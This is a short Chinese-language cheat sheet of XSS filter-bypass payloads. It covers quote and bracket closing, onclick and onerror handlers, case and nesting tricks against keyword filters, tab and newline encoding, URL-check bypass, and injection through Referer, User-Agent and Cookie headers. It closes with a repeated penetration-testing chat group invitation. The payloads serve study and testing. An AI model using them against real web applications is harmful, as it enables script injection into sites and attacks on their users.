1、单引号、双引号和尖括号之间的闭合。
有些标签例如,构造的payload应该为” >,那么组成的标签为<input value=""><script>alert(1)</script>"
2、尖括号被转义,利用注释符号和一些属性事件.
例如,构造payload为" οnclick=alert(1)//,组成的标签为<input value="" onclick=alert(1)//">
3、关键字的过滤
当过滤了script和onclick:那就换其他标签,还有注意一下尖括号的闭合,例如换成a标签,构成的payload:<a href=”javascript:alert(1)”
,或者换个IMG标签,payload:<img src=1 onerror=alert(1) >
若过滤关键字的函数使用了str_replace(),则可以使用大小写进行绕过,例如payload:<a HREF=”javascript:alert(1)”
若将关键字替换成了空格,则可以使用嵌套绕过,例如它将script这个字符串过滤了,那么构成的payload则为<sscriptcript>alert(1)</sscriptcript>
,它过滤后的标签则为<script>alert(1)</script>
利用一些特殊符号来进行绕过,例如%09(tab制表符) %0a(绕过空格过滤)。当script被过滤时payload:<a href=”javascr%09ipt:alert(1)”>
;当空格被过滤的时候payload:<img%0asrc=1%0aonerror=alert(1)>
4、有些标签的属性会验证url的合法性。
一般是看url有没有”http://”这个字符串,在payload加个http://再加个注释符就完事了,例如payload:<a href=”javascript:alert(1)//http://”
(//注释内容//可以形成注释)
5、form标签的注入
首先判断一下form标签里的那些标签是可以注入的,一个个去测试一下,下面举个例子。
构造注入payload
找到可注入的标签了,那么开始构造xss吧
Form里有些标签的value值是由http数据包信息提供,例如referer,user-agent,cookie,只要通过抓包修改为xss代码就可以了
欢迎大家加入渗透学习交流群:1084999372
欢迎大家加入渗透学习交流群:1084999372